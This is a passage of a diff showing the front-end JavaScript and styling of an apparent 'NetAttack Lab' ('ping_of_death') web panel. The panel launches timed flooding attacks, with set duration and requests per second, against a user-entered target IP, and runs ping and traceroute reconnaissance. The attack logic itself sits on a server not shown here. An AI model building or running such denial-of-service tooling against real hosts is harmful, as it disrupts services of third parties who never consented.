document.getElementById('intensity-value').textContent = e.target.value;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// Keyboard shortcuts
|
||||||
|
document.addEventListener('keydown', (e) => {
|
||||||
|
if (e.ctrlKey) {
|
||||||
|
switch(e.key) {
|
||||||
|
case '1':
|
||||||
|
e.preventDefault();
|
||||||
|
this.switchTab('reconnaissance');
|
||||||
|
break;
|
||||||
|
case '2':
|
||||||
|
e.preventDefault();
|
||||||
|
this.switchTab('attacks');
|
||||||
|
break;
|
||||||
|
case '3':
|
||||||
|
e.preventDefault();
|
||||||
|
this.switchTab('monitoring');
|
||||||
|
break;
|
||||||
|
case 'Enter':
|
||||||
|
e.preventDefault();
|
||||||
|
if (document.querySelector('.tab-content.active').id === 'attacks') {
|
||||||
|
this.startAttack();
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
switchTab(tabName) {
|
||||||
|
const btn = document.querySelector(`[data-tab="${tabName}"]`);
|
||||||
|
if (btn) btn.click();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Range Input Setup
|
||||||
|
setupRangeInputs() {
|
||||||
|
const duration = document.getElementById('duration');
|
||||||
|
const intensity = document.getElementById('intensity');
|
||||||
|
|
||||||
|
if (duration) {
|
||||||
|
document.getElementById('duration-value').textContent = duration.value + 's';
|
||||||
|
}
|
||||||
|
if (intensity) {
|
||||||
|
document.getElementById('intensity-value').textContent = intensity.value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// System Time
|
||||||
|
updateSystemTime() {
|
||||||
|
const updateTime = () => {
|
||||||
|
const now = new Date();
|
||||||
|
const timeStr = now.toISOString().replace('T', ' ').split('.')[0];
|
||||||
|
const timeElement = document.getElementById('system-time');
|
||||||
|
if (timeElement) {
|
||||||
|
timeElement.textContent = timeStr;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
updateTime();
|
||||||
|
setInterval(updateTime, 1000);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Logging
|
||||||
|
addLog(containerId, message, type = 'info') {
|
||||||
|
const container = document.getElementById(containerId);
|
||||||
|
if (!container) return;
|
||||||
|
|
||||||
|
const logLine = document.createElement('div');
|
||||||
|
logLine.className = `log-line ${type}`;
|
||||||
|
|
||||||
|
const timestamp = new Date().toLocaleTimeString();
|
||||||
|
const icons = {
|
||||||
|
info: 'ℹ️',
|
||||||
|
success: '✅',
|
||||||
|
warning: '⚠️',
|
||||||
|
error: '❌'
|
||||||
|
};
|
||||||
|
|
||||||
|
logLine.innerHTML = `<span style="color: #666;">[${timestamp}]</span> ${icons[type]} ${message}`;
|
||||||
|
|
||||||
|
container.appendChild(logLine);
|
||||||
|
container.scrollTop = container.scrollHeight;
|
||||||
|
|
||||||
|
// Limit log entries
|
||||||
|
while (container.children.length > 100) {
|
||||||
|
container.removeChild(container.firstChild);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
clearOutput(containerId) {
|
||||||
|
const container = document.getElementById(containerId);
|
||||||
|
if (container) {
|
||||||
|
container.innerHTML = '';
|
||||||
|
this.addLog(containerId.replace('-output', '-logs'), '📋 Logs cleared', 'info');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// API Calls
|
||||||
|
async makeRequest(endpoint, data) {
|
||||||
|
try {
|
||||||
|
const response = await fetch(endpoint, {
|
||||||
|
method: 'POST',
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/x-www-form-urlencoded',
|
||||||
|
},
|
||||||
|
body: new URLSearchParams(data)
|
||||||
|
});
|
||||||
|
|
||||||
|
return await response.json();
|
||||||
|
} catch (error) {
|
||||||
|
console.error('API Error:', error);
|
||||||
|
return { error: 'Network error occurred' };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reconnaissance Functions
|
||||||
|
async runPing() {
|
||||||
|
const target = document.getElementById('recon-target').value;
|
||||||
|
|
||||||
|
if (!target.trim()) {
|
||||||
|
this.addLog('recon-logs', 'Please enter a target IP or hostname', 'warning');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
this.addLog('recon-logs', `🏓 Starting ping test to ${target}...`, 'info');
|
||||||
|
|
||||||
|
const result = await this.makeRequest('/api/ping', { target });
|
||||||
|
|
||||||
|
if (result.error) {
|
||||||
|
this.addLog('recon-logs', `❌ Ping failed: ${result.error}`, 'error');
|
||||||
|
} else {
|
||||||
|
this.addLog('recon-logs', `✅ Ping to ${target} completed`, 'success');
|
||||||
|
// Add output to terminal
|
||||||
|
const outputLines = result.output.split('\n');
|
||||||
|
outputLines.forEach(line => {
|
||||||
|
if (line.trim()) {
|
||||||
|
this.addLog('recon-logs', line, 'info');
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async runTraceroute() {
|
||||||
|
const target = document.getElementById('recon-target').value;
|
||||||
|
|
||||||
|
if (!target.trim()) {
|
||||||
|
this.addLog('recon-logs', 'Please enter a target IP or hostname', 'warning');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
this.addLog('recon-logs', `🗺️ Starting traceroute to ${target}...`, 'info');
|
||||||
|
|
||||||
|
const result = await this.makeRequest('/api/traceroute', { target });
|
||||||
|
|
||||||
|
if (result.error) {
|
||||||
|
this.addLog('recon-logs', `❌ Traceroute failed: ${result.error}`, 'error');
|
||||||
|
} else {
|
||||||
|
this.addLog('recon-logs', `✅ Traceroute to ${target} completed`, 'success');
|
||||||
|
// Add output to terminal
|
||||||
|
const outputLines = result.output.split('\n');
|
||||||
|
outputLines.forEach(line => {
|
||||||
|
if (line.trim()) {
|
||||||
|
this.addLog('recon-logs', line, 'info');
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Attack Functions
|
||||||
|
async startAttack() {
|
||||||
|
const target = document.getElementById('attack-target').value;
|
||||||
|
const type = document.getElementById('attack-type').value;
|
||||||
|
const duration = document.getElementById('duration').value;
|
||||||
|
const intensity = document.getElementById('intensity').value;
|
||||||
|
|
||||||
|
if (!target.trim()) {
|
||||||
|
this.addLog('attack-logs', 'Please enter a target IP', 'warning');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Disable attack button
|
||||||
|
const attackBtn = document.getElementById('attack-btn');
|
||||||
|
const stopBtn = document.getElementById('stop-btn');
|
||||||
|
attackBtn.disabled = true;
|
||||||
|
stopBtn.disabled = false;
|
||||||
|
|
||||||
|
// Add attack start log
|
||||||
|
this.addLog('attack-logs', `🔥 Initiating ${type} attack on ${target}`, 'warning');
|
||||||
|
this.addLog('attack-logs', `⚙️ Parameters: ${duration}s duration, ${intensity} req/sec`, 'info');
|
||||||
|
|
||||||
|
const result = await this.makeRequest('/api/attack', {
|
||||||
|
target,
|
||||||
|
type,
|
||||||
|
duration,
|
||||||
|
intensity
|
||||||
|
});
|
||||||
|
|
||||||
|
if (result.error) {
|
||||||
|
this.addLog('attack-logs', `❌ Attack failed to start: ${result.error}`, 'error');
|
||||||
|
attackBtn.disabled = false;
|
||||||
|
stopBtn.disabled = true;
|
||||||
|
} else {
|
||||||
|
this.addLog('attack-logs', `✅ Attack session ${result.sessionId} started`, 'success');
|
||||||
|
this.activeAttacks.set(result.sessionId, {
|
||||||
|
target,
|
||||||
|
type,
|
||||||
|
started: Date.now()
|
||||||
|
});
|
||||||
|
|
||||||
|
// Start progress tracking
|
||||||
|
this.trackAttackProgress(result.sessionId, parseInt(duration));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
trackAttackProgress(sessionId, duration) {
|
||||||
|
let elapsed = 0;
|
||||||
|
const progressInterval = setInterval(() => {
|
||||||
|
elapsed++;
|
||||||
|
const remaining = duration - elapsed;
|
||||||
|
|
||||||
|
if (remaining > 0) {
|
||||||
|
this.addLog('attack-logs', `📊 Attack progress: ${elapsed}/${duration}s (${remaining}s remaining)`, 'info');
|
||||||
|
} else {
|
||||||
|
this.addLog('attack-logs', `🏁 Attack session ${sessionId} completed`, 'success');
|
||||||
|
clearInterval(progressInterval);
|
||||||
|
|
||||||
|
// Re-enable attack button
|
||||||
|
document.getElementById('attack-btn').disabled = false;
|
||||||
|
if (this.activeAttacks.size <= 1) {
|
||||||
|
document.getElementById('stop-btn').disabled = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
this.activeAttacks.delete(sessionId);
|
||||||
|
}
|
||||||
|
}, 1000);
|
||||||
|
}
|
||||||
|
|
||||||
|
async stopAllAttacks() {
|
||||||
|
this.addLog('attack-logs', '🛑 Emergency stop initiated...', 'warning');
|
||||||
|
|
||||||
|
for (const sessionId of this.activeAttacks.keys()) {
|
||||||
|
await this.makeRequest('/api/stop', { sessionId });
|
||||||
|
this.addLog('attack-logs', `🛑 Session ${sessionId} stopped`, 'info');
|
||||||
|
}
|
||||||
|
|
||||||
|
this.activeAttacks.clear();
|
||||||
|
document.getElementById('attack-btn').disabled = false;
|
||||||
|
document.getElementById('stop-btn').disabled = true;
|
||||||
|
|
||||||
|
this.addLog('attack-logs', '✅ All attacks stopped', 'success');
|
||||||
|
}
|
||||||
|
|
||||||
|
// Session Monitoring
|
||||||
|
startSessionMonitoring() {
|
||||||
|
this.sessionUpdateInterval = setInterval(() => {
|
||||||
|
this.updateSessionStats();
|
||||||
|
}, 2000);
|
||||||
|
}
|
||||||
|
|
||||||
|
async updateSessionStats() {
|
||||||
|
try {
|
||||||
|
const response = await fetch('/api/status');
|
||||||
|
const sessions = await response.json();
|
||||||
|
|
||||||
|
// Update stats
|
||||||
|
let totalSessions = sessions.length;
|
||||||
|
let activeSessions = sessions.filter(s => s.active).length;
|
||||||
|
let totalSuccess = sessions.reduce((sum, s) => sum + s.success, 0);
|
||||||
|
let totalFailed = sessions.reduce((sum, s) => sum + s.failed, 0);
|
||||||
|
let successRate = totalSuccess + totalFailed > 0 ?
|
||||||
|
Math.round((totalSuccess / (totalSuccess + totalFailed)) * 100) : 0;
|
||||||
|
|
||||||
|
document.getElementById('total-sessions').textContent = totalSessions;
|
||||||
|
document.getElementById('active-attacks').textContent = activeSessions;
|
||||||
|
document.getElementById('total-packets').textContent = totalSuccess + totalFailed;
|
||||||
|
document.getElementById('success-rate').textContent = successRate + '%';
|
||||||
|
|
||||||
|
} catch (error) {
|
||||||
|
console.error('Failed to update session stats:', error);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async updateSessionsTable() {
|
||||||
|
try {
|
||||||
|
const response = await fetch('/api/status');
|
||||||
|
const sessions = await response.json();
|
||||||
|
|
||||||
|
const tbody = document.getElementById('sessions-body');
|
||||||
|
|
||||||
|
if (sessions.length === 0) {
|
||||||
|
tbody.innerHTML = '<tr><td colspan="8" class="no-data">No active sessions</td></tr>';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
tbody.innerHTML = sessions.map(session => {
|
||||||
|
const elapsed = session.started ?
|
||||||
|
Math.floor((Date.now() - new Date(session.started).getTime()) / 1000) : 0;
|
||||||
|
|
||||||
|
return `
|
||||||
|
<tr>
|
||||||
|
<td>${session.id.substring(0, 8)}...</td>
|
||||||
|
<td>${session.target}</td>
|
||||||
|
<td>${session.type}</td>
|
||||||
|
<td><span class="status-${session.status}">${session.status}</span></td>
|
||||||
|
<td>${elapsed}s</td>
|
||||||
|
<td>${session.success}</td>
|
||||||
|
<td>${session.failed}</td>
|
||||||
|
<td>
|
||||||
|
${session.active ?
|
||||||
|
`<button class="btn btn-warning btn-sm" onclick="netLab.stopSession('${session.id}')">Stop</button>` :
|
||||||
|
'Completed'
|
||||||
|
}
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
`;
|
||||||
|
}).join('');
|
||||||
|
|
||||||
|
} catch (error) {
|
||||||
|
console.error('Failed to update sessions table:', error);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async stopSession(sessionId) {
|
||||||
|
await this.makeRequest('/api/stop', { sessionId });
|
||||||
|
this.addLog('attack-logs', `🛑 Session ${sessionId} stopped manually`, 'warning');
|
||||||
|
this.updateSessionsTable();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Global functions
|
||||||
|
function runPing() {
|
||||||
|
netLab.runPing();
|
||||||
|
}
|
||||||
|
|
||||||
|
function runTraceroute() {
|
||||||
|
netLab.runTraceroute();
|
||||||
|
}
|
||||||
|
|
||||||
|
function startAttack() {
|
||||||
|
netLab.startAttack();
|
||||||
|
}
|
||||||
|
|
||||||
|
function stopAllAttacks() {
|
||||||
|
netLab.stopAllAttacks();
|
||||||
|
}
|
||||||
|
|
||||||
|
function clearOutput(containerId) {
|
||||||
|
netLab.clearOutput(containerId);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Matrix rain effect (optional easter egg)
|
||||||
|
function createMatrixRain() {
|
||||||
|
const canvas = document.createElement('canvas');
|
||||||
|
canvas.className = 'matrix-bg';
|
||||||
|
document.body.appendChild(canvas);
|
||||||
|
|
||||||
|
const ctx = canvas.getContext('2d');
|
||||||
|
canvas.width = window.innerWidth;
|
||||||
|
canvas.height = window.innerHeight;
|
||||||
|
|
||||||
|
const matrix = "ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789@#$%^&*()*&^%+-/~{[|`]}";
|
||||||
|
const matrixArray = matrix.split("");
|
||||||
|
|
||||||
|
const fontSize = 10;
|
||||||
|
const columns = canvas.width / fontSize;
|
||||||
|
const drops = [];
|
||||||
|
|
||||||
|
for(let x = 0; x < columns; x++) {
|
||||||
|
drops[x] = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
function draw() {
|
||||||
|
ctx.fillStyle = 'rgba(0, 0, 0, 0.04)';
|
||||||
|
ctx.fillRect(0, 0, canvas.width, canvas.height);
|
||||||
|
|
||||||
|
ctx.fillStyle = '#00ff41';
|
||||||
|
ctx.font = fontSize + 'px monospace';
|
||||||
|
|
||||||
|
for(let i = 0; i < drops.length; i++) {
|
||||||
|
const text = matrixArray[Math.floor(Math.random() * matrixArray.length)];
|
||||||
|
ctx.fillText(text, i * fontSize, drops[i] * fontSize);
|
||||||
|
|
||||||
|
if(drops[i] * fontSize > canvas.height && Math.random() > 0.975) {
|
||||||
|
drops[i] = 0;
|
||||||
|
}
|
||||||
|
drops[i]++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const matrixInterval = setInterval(draw, 35);
|
||||||
|
|
||||||
|
// Clean up on page unload
|
||||||
|
window.addEventListener('beforeunload', () => {
|
||||||
|
clearInterval(matrixInterval);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// Initialize the application
|
||||||
|
let netLab;
|
||||||
|
document.addEventListener('DOMContentLoaded', () => {
|
||||||
|
netLab = new NetAttackLab();
|
||||||
|
|
||||||
|
// Optional: Add matrix effect on specific key combo
|
||||||
|
let konamiCode = [];
|
||||||
|
const konamiSequence = ['ArrowUp', 'ArrowUp', 'ArrowDown', 'ArrowDown', 'ArrowLeft', 'ArrowRight', 'ArrowLeft', 'ArrowRight', 'KeyB', 'KeyA'];
|
||||||
|
|
||||||
|
document.addEventListener('keydown', (e) => {
|
||||||
|
konamiCode.push(e.code);
|
||||||
|
if (konamiCode.length > konamiSequence.length) {
|
||||||
|
konamiCode = konamiCode.slice(-konamiSequence.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (JSON.stringify(konamiCode) === JSON.stringify(konamiSequence)) {
|
||||||
|
createMatrixRain();
|
||||||
|
netLab.addLog('attack-logs', '🐉 Matrix mode activated!', 'success');
|
||||||
|
konamiCode = [];
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
625
ping_of_death/static/styles.css
Normal file
625
ping_of_death/static/styles.css
Normal file
|
|
@ -0,0 +1,625 @@
|
||||||
|
/* NetAttack Lab - Hacker Style CSS */
|
||||||
|
|
||||||
|
:root {
|
||||||
|
--bg-primary: #0a0a0a;
|
||||||
|
--bg-secondary: #1a1a1a;
|
||||||
|
--bg-tertiary: #2a2a2a;
|
||||||
|
--accent-green: #00ff41;
|
||||||
|
--accent-red: #ff2441;
|
||||||
|
--accent-orange: #ff8c00;
|
||||||
|
--accent-blue: #00bfff;
|
||||||
|
--text-primary: #ffffff;
|
||||||
|
--text-secondary: #b0b0b0;
|
||||||
|
--text-muted: #666666;
|
||||||
|
--border: #333333;
|
||||||
|
--shadow: rgba(0, 255, 65, 0.2);
|
||||||
|
}
|
||||||
|
|
||||||
|
* {
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
box-sizing: border-box;
|
||||||
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
font-family: 'JetBrains Mono', 'Consolas', monospace;
|
||||||
|
background: var(--bg-primary);
|
||||||
|
color: var(--text-primary);
|
||||||
|
line-height: 1.6;
|
||||||
|
overflow-x: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
body::before {
|
||||||
|
content: '';
|
||||||
|
position: fixed;
|
||||||
|
top: 0;
|
||||||
|
left: 0;
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
background:
|
||||||
|
radial-gradient(circle at 20% 50%, var(--accent-green)0a 0%, transparent 50%),
|
||||||
|
radial-gradient(circle at 80% 20%, var(--accent-blue)0a 0%, transparent 50%),
|
||||||
|
radial-gradient(circle at 40% 80%, var(--accent-red)0a 0%, transparent 50%);
|
||||||
|
z-index: -1;
|
||||||
|
opacity: 0.03;
|
||||||
|
}
|
||||||
|
|
||||||
|
.container {
|
||||||
|
max-width: 1400px;
|
||||||
|
margin: 0 auto;
|
||||||
|
min-height: 100vh;
|
||||||
|
background: linear-gradient(135deg, var(--bg-primary) 0%, var(--bg-secondary) 100%);
|
||||||
|
border-left: 1px solid var(--border);
|
||||||
|
border-right: 1px solid var(--border);
|
||||||
|
box-shadow: 0 0 50px rgba(0, 255, 65, 0.1);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Header */
|
||||||
|
.header {
|
||||||
|
background: linear-gradient(90deg, var(--bg-secondary), var(--bg-tertiary));
|
||||||
|
border-bottom: 2px solid var(--accent-green);
|
||||||
|
padding: 1rem 2rem;
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
position: sticky;
|
||||||
|
top: 0;
|
||||||
|
z-index: 100;
|
||||||
|
backdrop-filter: blur(10px);
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.skull {
|
||||||
|
font-size: 2rem;
|
||||||
|
filter: drop-shadow(0 0 10px var(--accent-red));
|
||||||
|
animation: pulse 2s infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes pulse {
|
||||||
|
0%, 100% { opacity: 1; }
|
||||||
|
50% { opacity: 0.7; }
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo h1 {
|
||||||
|
color: var(--accent-green);
|
||||||
|
font-size: 1.8rem;
|
||||||
|
font-weight: 700;
|
||||||
|
text-shadow: 0 0 20px var(--shadow);
|
||||||
|
letter-spacing: 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.version {
|
||||||
|
background: var(--accent-red);
|
||||||
|
color: var(--bg-primary);
|
||||||
|
padding: 0.2rem 0.5rem;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 0.7rem;
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
||||||
|
|
||||||
|
.status-bar {
|
||||||
|
display: flex;
|
||||||
|
gap: 2rem;
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.status-item {
|
||||||
|
background: var(--bg-tertiary);
|
||||||
|
padding: 0.4rem 0.8rem;
|
||||||
|
border-radius: 4px;
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
font-size: 0.8rem;
|
||||||
|
font-family: inherit;
|
||||||
|
}
|
||||||
|
|
||||||
|
.status-item.warning {
|
||||||
|
background: var(--accent-orange);
|
||||||
|
color: var(--bg-primary);
|
||||||
|
font-weight: bold;
|
||||||
|
animation: blink 1s infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes blink {
|
||||||
|
0%, 50% { opacity: 1; }
|
||||||
|
51%, 100% { opacity: 0.7; }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Navigation */
|
||||||
|
.nav-tabs {
|
||||||
|
background: var(--bg-secondary);
|
||||||
|
display: flex;
|
||||||
|
border-bottom: 1px solid var(--border);
|
||||||
|
overflow-x: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tab-btn {
|
||||||
|
background: none;
|
||||||
|
border: none;
|
||||||
|
color: var(--text-secondary);
|
||||||
|
padding: 1rem 1.5rem;
|
||||||
|
cursor: pointer;
|
||||||
|
font-family: inherit;
|
||||||
|
font-size: 0.9rem;
|
||||||
|
border-bottom: 3px solid transparent;
|
||||||
|
transition: all 0.3s ease;
|
||||||
|
white-space: nowrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tab-btn:hover {
|
||||||
|
background: var(--bg-tertiary);
|
||||||
|
color: var(--text-primary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.tab-btn.active {
|
||||||
|
color: var(--accent-green);
|
||||||
|
border-bottom-color: var(--accent-green);
|
||||||
|
background: var(--bg-primary);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Main Content */
|
||||||
|
.main-content {
|
||||||
|
padding: 2rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tab-content {
|
||||||
|
display: none;
|
||||||
|
animation: fadeIn 0.3s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tab-content.active {
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes fadeIn {
|
||||||
|
from { opacity: 0; transform: translateY(20px); }
|
||||||
|
to { opacity: 1; transform: translateY(0); }
|
||||||
|
}
|
||||||
|
|
||||||
|
.panel {
|
||||||
|
background: var(--bg-secondary);
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: 8px;
|
||||||
|
padding: 2rem;
|
||||||
|
box-shadow: 0 4px 20px rgba(0, 0, 0, 0.3);
|
||||||
|
}
|
||||||
|
|
||||||
|
.panel h2 {
|
||||||
|
color: var(--accent-green);
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
font-size: 1.5rem;
|
||||||
|
text-shadow: 0 0 10px var(--shadow);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Warning Boxes */
|
||||||
|
.warning-box, .danger-box {
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 1rem;
|
||||||
|
margin: 1rem 0;
|
||||||
|
border-left: 4px solid;
|
||||||
|
}
|
||||||
|
|
||||||
|
.warning-box {
|
||||||
|
background: rgba(255, 140, 0, 0.1);
|
||||||
|
border-left-color: var(--accent-orange);
|
||||||
|
color: var(--accent-orange);
|
||||||
|
}
|
||||||
|
|
||||||
|
.danger-box {
|
||||||
|
background: rgba(255, 36, 65, 0.1);
|
||||||
|
border-left-color: var(--accent-red);
|
||||||
|
color: var(--text-primary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.danger-box h3 {
|
||||||
|
color: var(--accent-red);
|
||||||
|
margin-bottom: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Input Groups */
|
||||||
|
.input-section {
|
||||||
|
margin: 2rem 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.input-group {
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.input-group label {
|
||||||
|
display: block;
|
||||||
|
margin-bottom: 0.5rem;
|
||||||
|
color: var(--text-primary);
|
||||||
|
font-weight: 500;
|
||||||
|
}
|
||||||
|
|
||||||
|
.input-group input, .input-group select {
|
||||||
|
width: 100%;
|
||||||
|
padding: 0.8rem;
|
||||||
|
background: var(--bg-primary);
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: 4px;
|
||||||
|
color: var(--text-primary);
|
||||||
|
font-family: inherit;
|
||||||
|
font-size: 0.9rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.input-group input:focus, .input-group select:focus {
|
||||||
|
outline: none;
|
||||||
|
border-color: var(--accent-green);
|
||||||
|
box-shadow: 0 0 0 2px rgba(0, 255, 65, 0.2);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Config Layout */
|
||||||
|
.config-row {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: 1fr 1fr;
|
||||||
|
gap: 2rem;
|
||||||
|
margin: 1rem 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Range Inputs */
|
||||||
|
input[type="range"] {
|
||||||
|
-webkit-appearance: none;
|
||||||
|
appearance: none;
|
||||||
|
width: 100%;
|
||||||
|
height: 6px;
|
||||||
|
border-radius: 3px;
|
||||||
|
background: var(--bg-tertiary);
|
||||||
|
outline: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
input[type="range"]::-webkit-slider-thumb {
|
||||||
|
-webkit-appearance: none;
|
||||||
|
appearance: none;
|
||||||
|
width: 20px;
|
||||||
|
height: 20px;
|
||||||
|
border-radius: 50%;
|
||||||
|
background: var(--accent-green);
|
||||||
|
cursor: pointer;
|
||||||
|
box-shadow: 0 0 10px var(--shadow);
|
||||||
|
}
|
||||||
|
|
||||||
|
input[type="range"]::-moz-range-thumb {
|
||||||
|
width: 20px;
|
||||||
|
height: 20px;
|
||||||
|
border-radius: 50%;
|
||||||
|
background: var(--accent-green);
|
||||||
|
cursor: pointer;
|
||||||
|
border: none;
|
||||||
|
box-shadow: 0 0 10px var(--shadow);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Buttons */
|
||||||
|
.button-row {
|
||||||
|
display: flex;
|
||||||
|
gap: 1rem;
|
||||||
|
margin: 2rem 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn {
|
||||||
|
padding: 0.8rem 1.5rem;
|
||||||
|
border: none;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-family: inherit;
|
||||||
|
font-size: 0.9rem;
|
||||||
|
font-weight: 600;
|
||||||
|
cursor: pointer;
|
||||||
|
text-transform: uppercase;
|
||||||
|
letter-spacing: 1px;
|
||||||
|
transition: all 0.3s ease;
|
||||||
|
position: relative;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn::before {
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
top: 0;
|
||||||
|
left: -100%;
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.2), transparent);
|
||||||
|
transition: left 0.5s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn:hover::before {
|
||||||
|
left: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-primary {
|
||||||
|
background: var(--accent-green);
|
||||||
|
color: var(--bg-primary);
|
||||||
|
box-shadow: 0 0 20px rgba(0, 255, 65, 0.3);
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-primary:hover {
|
||||||
|
transform: translateY(-2px);
|
||||||
|
box-shadow: 0 4px 25px rgba(0, 255, 65, 0.5);
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-secondary {
|
||||||
|
background: var(--accent-blue);
|
||||||
|
color: var(--bg-primary);
|
||||||
|
box-shadow: 0 0 20px rgba(0, 191, 255, 0.3);
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-danger {
|
||||||
|
background: var(--accent-red);
|
||||||
|
color: var(--text-primary);
|
||||||
|
box-shadow: 0 0 20px rgba(255, 36, 65, 0.3);
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-warning {
|
||||||
|
background: var(--accent-orange);
|
||||||
|
color: var(--bg-primary);
|
||||||
|
box-shadow: 0 0 20px rgba(255, 140, 0, 0.3);
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn:disabled {
|
||||||
|
opacity: 0.5;
|
||||||
|
cursor: not-allowed;
|
||||||
|
transform: none !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Terminal */
|
||||||
|
.terminal {
|
||||||
|
background: var(--bg-primary);
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: 6px;
|
||||||
|
margin: 1.5rem 0;
|
||||||
|
overflow: hidden;
|
||||||
|
box-shadow: inset 0 0 20px rgba(0, 0, 0, 0.5);
|
||||||
|
}
|
||||||
|
|
||||||
|
.terminal-header {
|
||||||
|
background: var(--bg-tertiary);
|
||||||
|
padding: 0.8rem 1rem;
|
||||||
|
border-bottom: 1px solid var(--border);
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
color: var(--text-secondary);
|
||||||
|
font-size: 0.8rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-clear {
|
||||||
|
background: var(--accent-red);
|
||||||
|
color: var(--text-primary);
|
||||||
|
border: none;
|
||||||
|
padding: 0.3rem 0.6rem;
|
||||||
|
border-radius: 3px;
|
||||||
|
font-size: 0.7rem;
|
||||||
|
cursor: pointer;
|
||||||
|
}
|
||||||
|
|
||||||
|
.terminal-body {
|
||||||
|
padding: 1rem;
|
||||||
|
max-height: 400px;
|
||||||
|
overflow-y: auto;
|
||||||
|
font-size: 0.85rem;
|
||||||
|
line-height: 1.4;
|
||||||
|
}
|
||||||
|
|
||||||
|
.terminal-body::-webkit-scrollbar {
|
||||||
|
width: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
